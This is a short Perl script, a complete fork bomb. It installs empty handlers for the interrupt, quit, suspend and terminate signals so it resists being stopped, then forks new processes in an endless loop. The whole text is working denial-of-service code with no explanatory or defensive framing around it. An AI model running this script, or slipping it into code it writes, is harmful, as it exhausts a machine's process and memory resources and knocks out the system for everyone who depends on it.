#!/usr/bin/perl
map { $SIG{$_}=sub{} } qw(INT QUIT SUSP TERM);
while(1) { fork(); }
